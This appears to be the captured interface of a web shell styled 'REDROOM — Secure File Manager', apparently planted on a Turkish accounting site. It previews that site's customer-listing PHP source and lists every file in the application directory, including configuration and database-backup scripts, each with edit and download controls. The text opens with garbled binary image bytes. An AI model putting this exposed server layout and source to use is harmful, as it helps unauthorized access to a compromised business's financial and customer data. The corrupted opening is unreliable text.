PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
REDROOM
PHP 5.6.40
Preview: fetch_pages.php Size: 5.08 KB
/home/ankaservis/azad.ankaservis.com/muhasebe/fetch_pages.php
<meta charset="utf-8">
<?php

if(isset($_POST) && isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'){
	
	include("config.inc.php"); 
	include("sistem/ayarlar.php"); 

	if(isset($_POST["page"])){
		$page_number = filter_var($_POST["page"], FILTER_SANITIZE_NUMBER_INT, FILTER_FLAG_STRIP_HIGH); //filter number
		if(!is_numeric($page_number)){die('Invalid page number!');} 
	}else{
		$page_number = 1; 
	}
	
	
	$results = $mysqli_conn->query("SELECT COUNT(*) FROM musteriler where bayidurum='1' and ID!='6285'");
	$get_total_rows = $results->fetch_row(); 
	
	$total_pages = ceil($get_total_rows[0]/$item_per_page);

	$page_position = (($page_number-1) * $item_per_page);
	
	$results = $mysqli_conn->query("SELECT ID, Ad_Soyad, firma, Tel, email, bayidurum FROM musteriler where bayidurum='1' and ID!='6285' ORDER BY ID DESC LIMIT $page_position, $item_per_page");
	
		
										
	
	echo '
	 <table id="id="exRowTable"" class="table table-striped table-bordered responsive">
                                <thead class="">
                                    <tr>
										<th>ID</th>
                                        <th>Ad Soyad</th>
										<th>Firma</th>
                                        <th>Telefon</th>
                                        <th>E-posta</th>
										<th>Bakiye</th>
                                       
                                        
                                    </tr>
                                </thead>
                         
                                <tbody>
	
	';
	while($row = $results->fetch_assoc()) {
		$carikim= $row["ID"];
										$cariborc = mysql_query("SELECT SUM(borc) as borc FROM carihareket where cariid='$carikim' ");
										$row5 = mysql_fetch_array($cariborc); 
										$borcu= $row5["borc"];
										$carialacak = mysql_query("SELECT SUM(alacak) as alacak FROM carihareket where cariid='$carikim' ");
										$row2 = mysql_fetch_array($carialacak); 
									
										$alacak= $row2["alacak"];
										$toplayalim	= number_format($borcu-$alacak,2, ',', '.');
		echo '
		<tr>
										
                                        <td><a href="Musteri.php?GiT='.$row["ID"].'">'.$row["ID"].' </a>	</td>
										<td><a href="Musteri.php?GiT='.$row["ID"].'">'.$row["Ad_Soyad"].' </a>	</td>
                                        <td><a href="Musteri.php?GiT='.$row["ID"].'">'.$row["firma"].'</a></td>
										<td><a href="Musteri.php?GiT='.$row["ID"].'">'.$row["Tel"].'</a></td>
                                        <td><a href="Musteri.php?GiT='.$row["ID"].'">'.$row["email"].'</a></td>
										<td>'.$toplayalim.'</td>
                                       
                                        
                                    </tr>
		
		';
		
	
	}  
	echo '
	</tbody>
                            </table>
	';
	
	
	echo '<div align="center">';
	
	echo paginate_function($item_per_page, $page_number, $get_total_rows[0], $total_pages);
	echo '</div>';
}

function paginate_function($item_per_page, $current_page, $total_records, $total_pages)
{
    $pagination = '';
    if($total_pages > 0 && $total_pages != 1 && $current_page <= $total_pages){ //verify total pages and current page number
        $pagination .= '<ul class="pagination">';
        
        $right_links    = $current_page + 4; 
        $previous       = $current_page - 3; 
        $next           = $current_page + 1; 
        $first_link     = false; 
        
        if($current_page > 1){
			$previous_link = ($previous==0)?1:$previous;
            $pagination .= '<li class="first"><a href="#" data-page="1" title="ilk Sayfa">&laquo;</a></li>'; //first link
            $pagination .= '<li><a href="#" data-page="'.$previous_link.'" title="Geri">&lt;</a></li>'; //previous link
                for($i = ($current_page-2); $i < $current_page; $i++){ //Create left-hand side links
                    if($i > 0){
                        $pagination .= '<li ><a href="#" data-page="'.$i.'" title="Sayfa'.$i.'">'.$i.'</a></li>';
                    }
                }   
            $first_link = false; 
        }
        
        if($first_link){ 
            $pagination .= '<li class="active"><a>'.$current_page.'</a></li>';
        }elseif($current_page == $total_pages){ 
            $pagination .= '<li class="last active"><a>'.$current_page.'</a></li>';
        }else{ 
            $pagination .= '<li class="active"><a>'.$current_page.'</a></li>';
        }
                
        for($i = $current_page+1; $i < $right_links ; $i++){ 
            if($i<=$total_pages){
                $pagination .= '<li><a href="#" data-page="'.$i.'" title="Sayfa '.$i.'">'.$i.'</a></li>';
            }
        }
        if($current_page < $total_pages){ 
				$next_link = ($i > $total_pages)? $total_pages : $i;
                $pagination .= '<li><a href="#" data-page="'.$next_link.'" title="ileri">&gt;</a></li>'; 
                $pagination .= '<li class="last"><a href="#" data-page="'.$total_pages.'" title="Son Sayfa">&raquo;</a></li>'; //last link
        }
        
        $pagination .= '</ul>'; 
    }
    return $pagination; 
}
?>

Directory Contents

Dirs: 21 × Files: 125
Name Size Perms Modified Actions
ajax DIR
- drwxr-xr-x 2025-01-09 06:49:12
Edit Download
barkod DIR
- drwxr-xr-x 2025-01-09 06:49:14
Edit Download
blok DIR
- drwxr-xr-x 2025-01-09 06:49:14
Edit Download
css DIR
- drwxr-xr-x 2025-01-09 06:49:14
Edit Download
db DIR
- drwxr-xr-x 2025-01-09 06:49:14
Edit Download
dist DIR
- drwxr-xr-x 2025-01-09 06:49:18
Edit Download
Excel DIR
- drwxr-xr-x 2025-01-09 06:49:22
Edit Download
font DIR
- drwxr-xr-x 2025-01-09 06:49:22
Edit Download
fonts DIR
- drwxr-xr-x 2025-01-09 06:49:22
Edit Download
giris DIR
- drwxr-xr-x 2025-01-09 06:49:22
Edit Download
holder.js DIR
- drwxr-xr-x 2025-01-09 06:49:22
Edit Download
images DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
img DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
js DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
Pager DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
scopbin DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
sf DIR
- drwxr-xr-x 2025-01-09 06:49:24
Edit Download
sistem DIR
- drwxr-xr-x 2025-01-09 06:49:26
Edit Download
Sorgula DIR
- drwxr-xr-x 2025-01-09 06:49:30
Edit Download
yedekle_Xc DIR
- drwxr-xr-x 2025-01-09 06:49:30
Edit Download
yuklenen DIR
- drwxr-xr-x 2025-01-09 06:49:30
Edit Download
.htaccess
1.33 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
30ustu.php
9.25 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
ajax-loader.gif
3.41 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ara.php
4.12 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
arafatura.php
985 B lrw-r--r-- 2017-05-21 19:35:00
Edit Download
aramasonuc.php
18.62 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
aramatel.php
18.62 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
araseri.php
975 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
aratakip.php
993 B lrw-r--r-- 2017-05-21 19:35:00
Edit Download
ay.php
9.25 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ayarlar.php
17.22 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
carihareket_yazdir.php
9.55 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
cari_tarih_sorgu.php
10.89 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
class.phpmailer.php
88.75 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
class.smtp.php
30.33 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
config.inc.php
508 B lrw-r--r-- 2023-01-20 08:58:08
Edit Download
deftergiris.php
27.25 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
deftersorgu.php
28.51 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
depo.php
12.88 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
depo_analiz.php
12.88 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
depo_hareketleri.php
22.62 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
depo_hareketleri_sorgu.php
23.71 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
depo_nakil.php
22.48 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
depo_stok_kodu_sorgu.php
23.19 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
error_log
153 B lrw-r--r-- 2025-01-09 10:13:36
Edit Download
faturam.php
22.76 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
fetch_pages.php
5.08 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
fetch_pagesarama.php
6.06 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
fetch_pages_tumu.php
4.96 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
fis.php
6.03 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
formhesap.php
3.51 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
formhesap2.php
4.04 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
giris.php
4.46 KB lrw-r--r-- 2024-07-31 10:29:22
Edit Download
girisler.php
20.38 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
girisler_sorgu.php
24.71 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
gorusmeekle.php
1.02 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
hafta.php
9.25 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
hatirlatmalar.php
16.59 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
hatirlatma_duzen.php
14.07 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
hesap_nakil.php
2.79 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
hesap_nakil_personel.php
2.67 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
index.php
18.53 KB lrw-r--r-- 2024-07-31 11:02:08
Edit Download
islem.php
253 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
jquery-1.9.0.js
261.05 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
jquery-ui-1.10.0.custom.js
422.49 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
jquery-ui-1.10.0.custom.min.css
26.42 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
jsDatePick.css
8.21 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
jsDatePick.min.1.1.js
27.95 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
kasadefteri.php
26.70 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
kasa_defteri_ajax1.php
7.11 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
kasa_hareketleri.php
27.98 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
kasa_rapor.php
29.34 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
kasa_rapor_sorgu.php
30.18 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
lisans.php
466 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
markaListele.php
9.61 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
mesajlarim.php
6.55 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
mesaj_oku.php
7.25 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
mesaj_yaz.php
6.92 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
Musteri.php
81.68 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
MusteriEkle.php
23.05 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
Musteriler.php
15.92 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
Musterilerajax.php
18.04 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
Musteriler_tumu.php
18.06 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
Musteri_borc.php
17.80 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
musteri_exel.php
1.01 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ORNEK_MUSTERI_SABLONU.xls
19.50 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ORNEK_STOK_SABLONU.xls
19.00 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
parcamodul.php
53.08 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
perListele.php
10.65 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
personelis.php
10.53 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
personelis_yazdir.php
8.84 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
personel_defter_sorgu.php
29.72 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
personel_excel.php
17.39 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
personel_kasa.php
33.75 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
personel_kasa_getir.php
17.15 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
personel_kasa_giris.php
39.56 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
personel_kasa_onaysiz.php
33.47 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
personel_kasa_yazdir.php
11.15 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
pesin_satis.php
18.70 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
profil_resmim.php
7.23 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rapor_aylik_alislar.php
25.79 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rapor_aylik_satislar.php
25.81 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rapor_gunluk.php
27.80 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rapor_tarih_kasa.php
28.12 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
refresh.png
832 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rehberduzen.php
19.24 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
rehberekle.php
18.41 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
resimyukle.php
3.58 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
resimyukleser.php
3.59 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
security.php
879 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
serinoListele.php
6.16 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
serinosorgula.php
7.90 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
seri_liste.php
9.53 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ServisDuzen.php
21.54 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
ServisDuzenpersonel.php
13.70 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
servisekle.php
11.84 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
sifre_degistir.php
7.05 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
sortable.js
187.39 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokalis_satis.php
20.05 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
stokfis_list.php
23.75 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
stokfis_list_personel.php
22.43 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
stokguruplari.php
12.89 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokhareket.php
56.47 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartduzenle.php
27.42 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartekle.php
22.12 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartiara.php
21.65 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartlari.php
21.35 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartlari_depo.php
21.34 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stokkartlari_kritik.php
20.87 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_alis.php
19.71 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_excel.php
3.01 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
stok_fatura.php
23.47 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_fis_sorgu.php
26.82 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_fis_sorgu_personel.php
25.67 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
stok_hareketleri.php
25.08 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_hareketleri_sorgu.php
26.52 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_kodu_sorgu.php
24.86 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
stok_satis.php
19.71 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
turListele.php
9.57 KB lrw-r--r-- 2017-05-21 19:35:00
Edit Download
veri_kontrol.php
239 B lrw-r--r-- 2017-05-21 19:35:02
Edit Download
vt_yedekleme_Xc.php
11.27 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
xls.php
18.01 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
xls_stok.php
17.00 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
yazdir.php
7.42 KB lrw-r--r-- 2024-04-11 01:54:26
Edit Download
yedekle_Xc.php
1.15 KB lrw-r--r-- 2017-05-21 19:35:02
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI